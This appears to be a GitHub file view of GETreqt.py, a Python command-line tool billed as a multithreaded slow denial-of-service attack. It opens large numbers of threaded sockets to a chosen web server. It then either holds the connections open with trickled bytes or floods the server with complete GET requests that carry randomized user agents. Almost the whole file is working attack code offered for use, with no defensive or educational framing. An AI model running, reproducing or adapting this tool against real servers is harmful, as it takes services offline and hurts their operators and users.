-
Notifications
You must be signed in to change notification settings - Fork 4
/
GETreqt.py
164 lines (133 loc) · 7.39 KB
/
GETreqt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
import socket; import time
import threading; import random
import argparse; import requests
from termcolor import colored
import colorama; import re
import tqdm
colorama.init()
currentVersionNumber = "v3.2.0"
VERSION_CHECK_URL = "https://raw.githubusercontent.com/SHUR1K-N/GETreqt-Multithreaded-Slow-DoS-Attack/master/versionfile.txt"
BANNER1 = colored('''
▄████ ▓█████▄▄▄█████▓ ██▀███ ▓█████ █████ ▄▄▄█████▓
██▒ ▀█▒▓█ ▀▓ ██▒ ▓▒▓██ ▒ ██▒▓█ ▀ ▒██▓ ██▒▓ ██▒ ▓▒
▒██░▄▄▄░▒███ ▒ ▓██░ ▒░▓██ ░▄█ ▒▒███ ▒██▒ ██░▒ ▓██░ ▒░
░▓█ ██▓▒▓█ ▄░ ▓██▓ ░ ▒██▀▀█▄ ▒▓█ ▄ ░██ █▀ ░░ ▓██▓ ░
░▒▓███▀▒░▒████▒ ▒██▒ ░ ░██▓ ▒██▒░▒████▒░▒███▒█▄ ▒██▒ ░
░▒ ▒ ░░ ▒░ ░ ▒ ░░ ░ ▒▓ ░▒▓░░░ ▒░ ░░░ ▒▒░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░ ░ ▒░ ░ ░
░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░''', 'blue')
BANNER2 = colored(''' ------------------------------------------------''', 'blue')
BANNER3 = colored(''' || GETreqt: The Multithreaded Slow DoS Attack ||''', 'red')
BANNER4 = colored(''' ------------------------------------------------''', 'blue')
def printBanner():
print(BANNER1), print(BANNER2), print(BANNER3), print(BANNER4)
def versionCheck():
global currentVersionNumber
print("\nChecking for GETreqt updates...", end="")
crawlVersionFile = requests.get(VERSION_CHECK_URL)
crawlVersionFile = str(crawlVersionFile.content)
crawlVersionFile = re.findall(r"([0-9]+)", crawlVersionFile)
latestVersionNumber = int(''.join(crawlVersionFile))
currentVersionNumber = re.findall(r"([0-9]+)", currentVersionNumber)
currentVersionNumber = int(''.join(currentVersionNumber))
if currentVersionNumber >= latestVersionNumber:
print(colored(" You are using the latest version!\n", "green"))
elif currentVersionNumber < latestVersionNumber:
print(colored(" You are using an older version of GETreqt.", "red"))
print(colored("\nGet the latest version at https://github.com/SHUR1K-N/GETreqt-Multithreaded-Slow-DoS-Attack", "yellow"))
print(colored("Every new version comes with fixes, improvements, new features, etc..", "yellow"))
print(colored("Please do not open an Issue if you see this message and have not yet tried the latest version.\n", "yellow"))
randomUserAgent = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57",
"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0",
]
successfulSends = 0
def constructRequest():
requestHeaders = ["GET / HTTP/2.0",
f"Host: {target}",
# "Connection: keep-alive", # Not required with HTTP v1.1 & HTTP 2
f"User-Agent: {random.choice(randomUserAgent)}\r\n",
]
if arguments.wait:
pass
elif arguments.end:
requestHeaders = requestHeaders[:3] + [f"User-Agent: {random.choice(randomUserAgent)}\r\n\r\n"]
GETrequest = "\r\n".join(requestHeaders).encode("utf-8")
return(GETrequest)
def deployRequests(target, port, length, currentSocket, GETrequest):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# sock.settimeout(5)
try:
sock.connect((target, port))
sock.send(GETrequest)
except:
try:
sock.shutdown(socket.SHUT_RDWR)
sock.close()
deployRequests(target, port, length, currentSocket, GETrequest)
except:
deployRequests(target, port, length, currentSocket, GETrequest)
if arguments.end:
global successfulSends
for i in range(1, length + 1):
try:
sock.send(GETrequest)
successfulSends += 1
print(f"Successful send #{successfulSends} from socket {currentSocket}\n", end="")
except:
try:
sock.shutdown(socket.SHUT_RDWR)
sock.close()
deployRequests(target, port, length, currentSocket, GETrequest)
except:
deployRequests(target, port, length, currentSocket, GETrequest)
randomDelay = random.random() * 5
time.sleep(randomDelay)
else:
for i in range(1, length + 1):
try:
# sock.send(bytes(str(f"{random.randint(1, 5000)}\r\n"), encoding="utf-8"))
sock.send(b" ")
print(f"Sent \"don't you die on me\" packet {i} / {length} via socket {currentSocket}\n", end="")
except:
try:
sock.shutdown(socket.SHUT_RDWR)
sock.close()
deployRequests(target, port, length, currentSocket, GETrequest)
except:
deployRequests(target, port, length, currentSocket, GETrequest)
randomDelay = random.random() * 5
time.sleep(randomDelay)
def attackThreads(target, port, length, sockets, GETrequest):
threadingPool = []
print()
for currentSocket in range(sockets):
threadingPool.append(threading.Thread(target=deployRequests, args=[target, port, length, currentSocket, GETrequest]))
print(f"Creating {currentSocket} sockets to attack {target} via port {port}\n", end="")
threadingPool[currentSocket].start()
for thread in threadingPool:
thread.join()
print("\nAttack completed. Press [Enter] to exit.")
input()
if __name__ == "__main__":
printBanner()
versionCheck()
cli = argparse.ArgumentParser()
cliExclusive = cli.add_mutually_exclusive_group()
cli.add_argument("-x", "--target", required=True, help="Target web server address (IP addess or URL)")
cli.add_argument("-p", "--port", required=True, type=int, help="Target web server port (eg: 80)")
cli.add_argument("-l", "--length", required=True, type=int, help="Total packet length (eg: 1000)")
cli.add_argument("-t", "--threads", required=True, type=int, help="Threads (sockets) to attack with (eg: 6000)")
cliExclusive.add_argument("-w", "--wait", help="Do not terminate requests (elegant slow DoS)", action="store_true")
cliExclusive.add_argument("-e", "--end", help="Terminate all requests correctly (blatant GET spam)", action="store_true")
arguments = cli.parse_args()
target = arguments.target
port = arguments.port
length = arguments.length
sockets = arguments.threads
GETrequest = constructRequest()
attackThreads(target, port, length, sockets, GETrequest)